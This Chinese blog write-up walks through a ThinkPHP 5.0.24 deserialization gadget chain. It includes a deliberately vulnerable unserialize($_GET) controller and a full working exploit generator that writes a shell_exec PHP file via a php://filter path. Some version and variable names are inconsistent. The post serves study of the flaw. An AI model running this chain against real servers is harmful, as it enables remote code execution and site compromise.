Thinkphp5_x(反序列化)

Thinkphp5_x(反序列化)

版权申明:本文为原创文章,转载请注明原文出处

原文链接:http://example.com/post/e1d073c2.html

Thinkphp5_x(反序列化)

Thinkphp5_x(反序列化)

5.0.x反序列化

参考链接:ThinkPHP v5.0.24 反序列化 - seizer-zyx - 博客园 (cnblogs.com)

环境

PHP5.6+Linux+ThinkPHP5.0.24

thinkphp5.0.24下载

1
composer create-project --prefer-dist topthink/think=5.1.24 tpdemo

修改composer.json文件

1
2
3
4
"require": {
"php": ">=5.4.0",
"topthink/framework": "5.0.24"
},

同目录下执行composer update

测试代码
1
2
3
4
5
6
7
8
9
10
11
12
<?php
namespace app\index\controller;

class Index
{
public function index()
{
$c = unserialize($_GET['c']);
var_dump($c);
return 'Welcome to thinkphp5.0.24';
}
}
代码分析

入口:thinkphp/library/think/process/pipes/Windows.php中的__destruct()函数

image-20240313191223141

此处我们要利用的函数是 removeFiles(),查看该函数

image-20240313191615562

此处的 $this->files 是可控的,也代表 $filename 是可控的,而此处的 file_exists() 方法是判断 $filename 所指定的文件是否存在,如果 $filename是一个类,就会调用该类的 __tostring()方法,此处的思路就是找 __tostring() 方法有漏洞的类

此处找的类就是model类,位于thinkphp/library/think/Model.php,但是此处的model是抽象类,因此需要找到其子类

抽象类是一种不能直接实例化的类,它主要用于定义接口和共享代码。在面向对象编程中,抽象类一般用作其他类的基类,其目的是让子类继承它,并且必须实现抽象类中定义的抽象方法。因此,抽象类不能直接被实例化,而是需要子类去继承并实现它的抽象方法后才能被实例化。

image-20240313192258490

找子类的方式就是全局搜索 extends model 的类,此处选择 pivot 类,到此为止,我们的exp初步构造如下

image-20240313192601144

到此为止,我们的exp初步构造如下

1
2
3
4
5
6
7
8
9
namespace think\process\pipes;
use think\model\Pivot;
class Windows
{
private $files=[];
public function __construct(){
$this->files = array(new Pivot());
}
}

接下来进入 model.php 文件,在model抽象类中寻找 __tostring() 方法,如下所示

image-20240313192831145

调用了 toJson() 方法

image-20240313192904805

调用了 toArray() 方法,此处的 toArray() 方法是可见的长,重点是那些变量是我们可控的,特别是调用变量的函数的时候,此处选择的漏洞入口就是912行的 $value ,选择它的原因是 $value 本身是可控的,可以将 $value 构造成一个没有 getAttr() 方法且在 __call() 方法中存在漏洞的类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
public function toArray() 
{
$item = [];
$visible = [];
$hidden = [];

$data = array_merge($this->data, $this->relation);

// 过滤属性
if (!empty($this->visible)) {
$array = $this->parseAttr($this->visible, $visible);
$data = array_intersect_key($data, array_flip($array));
} elseif (!empty($this->hidden)) {
$array = $this->parseAttr($this->hidden, $hidden, false);
$data = array_diff_key($data, array_flip($array));
}

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
$item[$key] = $this->subToArray($val, $visible, $hidden, $key);
} elseif (is_array($val) && reset($val) instanceof Model) {
// 关联模型数据集
$arr = [];
foreach ($val as $k => $value) {
$arr[$k] = $this->subToArray($value, $visible, $hidden, $key);
}
$item[$key] = $arr;
} else {
// 模型属性
$item[$key] = $this->getAttr($key);
}
}
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);

if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
return !empty($item) ? $item : [];
}

第一步是想办法能够执行到912行,简单写这个if函数就是如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (!is_array($name) && !strpos($name, '.')) {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}

第一个是 $this->append 不为空,由于 $this->append 可控,该条件可实现

接着是 $this->append 里单个值不能是数组,不能有 . ,由于 $this->append 可控,该条件可实现

然后是 $relation 变量的获取,此处使用了parseName函数,此处的type为1,也就是将C风格转换为Java风格,对正常字符串没有影响,因此此处的 $relation 就是 $name ,也就是 $this->append 变量

具体来说,当 type 参数为 1 时,函数会执行以下操作:

  1. 使用正则表达式 '/_([a-zA-Z])/' 将下划线后的字母转换为大写字母。
  2. 使用 preg_replace_callback 函数将匹配到的字符转换为大写字母。
  3. 最后,根据 $ucfirst 参数决定是否将结果的首字母大写或小写,并返回结果。

image-20240313194432787

接着是判断本类是否存在 $relation 函数,这个比较好办,因为 $this->append 变量本身就是可控的,因此 $relation 变量也是可控的

继续往下分析, $modelRelation 是执行 $relation 函数的结果,要想能进入下面的if语句,就必须保证返回的结果也是一个类,并且这个类有getBindAttr方法,由于此处并没有使用 $value 变量,因此先不对 $value 变量进行分析

image-20240313195522888

通过全局搜索可以找到定义该函数的地方,位于 thinkphp/library/think/model/relation/OneToOne.php

image-20240313195744883

该函数定义在一个抽象类中,因此用同样的方法寻找其子类

image-20240313195845938

这里选择HasOne类

image-20240313195913716

因此前面的 $modelRelation 我们就知道要返回什么了,就是返回HasOne类,因此我们需要找到Model类中的可控返回变量的函数

此处选择的是 getError() 函数,因为此处的 $this->error 是可控的,因此只需构造 $this->error 为HasOne类就行了, $relation 变量就是 getError() 函数,也就是 $this->append() 的值应该是 ['getError()']

image-20240313200040421

继续分析,接着就执行了getBindAttr方法,进入OneToOne类查看该方法

image-20240313200719111

如下所示,此处的 $this->bindAttr 也是可控的

image-20240313200839247

我们要执行到912的条件是 !isset($this->data[$key]) ,这里的 $this->data 也是可控的,因此此处 $bindAttr 的值不需要急着定,只要保持 $this->data 为空就行了

然后就是 $value 的值不能是False,并且根据前面的分析可知, $value 应该是一个没有 getAttr() 函数并且 __call() 函数存在漏洞的类,这里选择构造的类就是Output类,位于thinkphp/library/think/console/Output.php

$value 的值通过Model类的getRelationData函数返回

image-20240313201323330

此处必须要满足第一个if语句,因为 $modelRelation 我们已经确定了,而OneToOne类是没有getRelation方法的

image-20240313201501077

此处有三个条件需要同时满足:

  • $this->parent

    该变量本身可控,易满足

  • !$modelRelation->isSelfRelation()

    进入该函数,该方法属于抽象Relation类,位于thinkphp/library/think/model/Relation.php

    image-20240313201934253

    因为确保上面的 $this->selfRelation 为false就行了,该变量同样是可控的

  • get_class($modelRelation->getModel()) == get_class($this->parent)

    这个等于的含义是getModel返回值类型和$this->parent相同

    先看getModel函数,还是位于抽象Relation类中

    image-20240313202356627

    进入此处Query类的getModel函数

    image-20240313202419818

    此处的 $this->model 函数也是可控的

    $this->parent 也是可控的,因此这个很好满足要求

综合以上,构造的exp应该如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
namespace think\model;
use think\model\relation\HasOne;
use think\console\Output;
class Pivot{
protected $append = [];
protected $error;
public $parent;
public function __construct(){
$this->append=array('getError');
$this->error=new HasOne();
$this->parent=new Output();
}
}

namespace think\model\relation;
use think\db\Query;
class HasOne{
protected $selfRelation;
protected $query;
protected $bindAttr;
public function __construct(){
$this->selfRelation=false;
$this->query=new Query();
$this->bindAttr=["seizer", "seizer"];
}
}

namespace think\db;
use think\console\Output;
class Query
{
protected $model;
public function __construct(){
$this->model=new Output();
}
}

接着查看Output类的__call方法,这里的 $method 参数就是 getAttr$args 是Model类中 $bindAttr 变量。也就是上面exp所写的 [studentYang] ,接着检查 $this->styles 数组中是否存在变量 $method 的值,而 $this->styles 是可控的,因此假设能够成功进入该循环,接着 array_unshift($args, $method) 将变量 $method 插入到数组 $args 的开头,那 $args 就变成了 [getAttr,studentYang] ,然后调用block方法,将args参数传递到该方法

image-20240314143405626

如下所示,block方法会写入后面的messages,后面的messages通过前面的变量传递应该是 <getAttr>studentYang</getAttr>

image-20240314144119613

然后查看writeln方法,这里的 $messages 就是 <getAttr>studentYang</getAttr>

image-20240314144248606

type应该为0

image-20240314144340666

接着调用了handle类指定的write方法,这里的参数: $messages<getAttr>studentYang</getAttr>$newline 是true, $type 是0,而 $this->handle 是可控的,这里选择Memcache.php中的write方法,位于 thinkphp/library/think/session/driver/Memcache.php

image-20240314144408286

由此的exp应该增加如下

1
2
3
4
5
6
7
8
9
10
11
namespace think\console;
use think\session\driver\Memcache;
class Output
{
protected $styles=[];
private $handle=null;
public function __construct(){
$this->styles = ['getAttr'];
$this->handle=new Memcache();
}
}

接着查看Memcache类的write方法,这里的 $sessId 应该就是 $messages 的内容,$sessData 就是 $newline 的内容,这里的 $this->handle 是可控的,因此需要查找set函数有漏洞的类,这里选择了File.php的set方法进行利用,位于 thinkphp/library/think/cache/driver/File.php

image-20240314145141084

至此exp增加以下内容

1
2
3
4
5
6
7
8
9
namespace think\session\driver;
use think\cache\driver\File;
class Memcache
{
protected $handler=null;
public function __construct(){
$this->handler=new File();
}
}

如下所示,这里有file_put_contents方法,说不定有漏洞

image-20240314145523493

一步步进行分析,首先确定传入的变量是什么, $name<getAttr>studentYang</getAttr>$value 是true,而后面的内容中filename和name相关,而data只和value相关,因此此处的file_put_contents函数不好利用,但是下面的setTagItem函数可利用,该函数位于driver类

这里的 $name 是变量 $filename ,这里的 this->tag 是可控的,想办法让value等于name就可以成功执行我们的文件生成函数了

image-20240314150247399

现在分析filename会变成什么,在set函数中,主要进行了以下操作

image-20240314150723238

而这个函数如下,这里的 this->options 也是可控的,我们想办法不对name进行额外修改,让返回的$filename = $this->options['path'] . $name . '.php';,故$filename前部分内容可控,最后返回的filename就是 path+md5(name)+.php

image-20240314150749846

接着在setTagItem函数中,让最后的set方法指向File.php的set方法

最后增加的exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
namespace think\cache\driver;
class File
{
protected $tag;
protected $options=[];
public function __construct(){
$this->tag=true;
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgZWNobyBzaGVsbF9leGVjKCJjYWxjIik7Pz4=/../a.php', //功能:弹出计算器
'data_compress' => false,
];
}
}

use think\process\pipes\Windows;
$windows = new Windows();
echo urlencode(serialize($windows));

其中,path的构造原理如下

1
2
3
$code = '<?php echo shell_exec("calc");?>';
$data=base64_encode($code);
echo $data;

综上所述,整条链子逻辑如下

1
Windows类的__destruct()-->removeFiles()-->Model类的__tostring()-->toJson()-->toArray()-->Output类的__call()-->block()-->writeln()-->write()-->Memcache类的write()-->File类的set()-->Driver类的setTagItem()-->File类的set()-->file_put_contents写入shell

最后执行效果如图所示

image-20240315142812185

Thinkphp5_x(反序列化)

http://example.com/post/e1d073c2.html

Author

yyyyyyxnp

Posted on

2024-03-13

Updated on

2024-09-29

Licensed under

You need to set install_url to use ShareThis. Please set it in _config.yml.
You forgot to set the business or currency_code for Paypal. Please set it in _config.yml.

Comments

You forgot to set the shortname for Disqus. Please set it in _config.yml.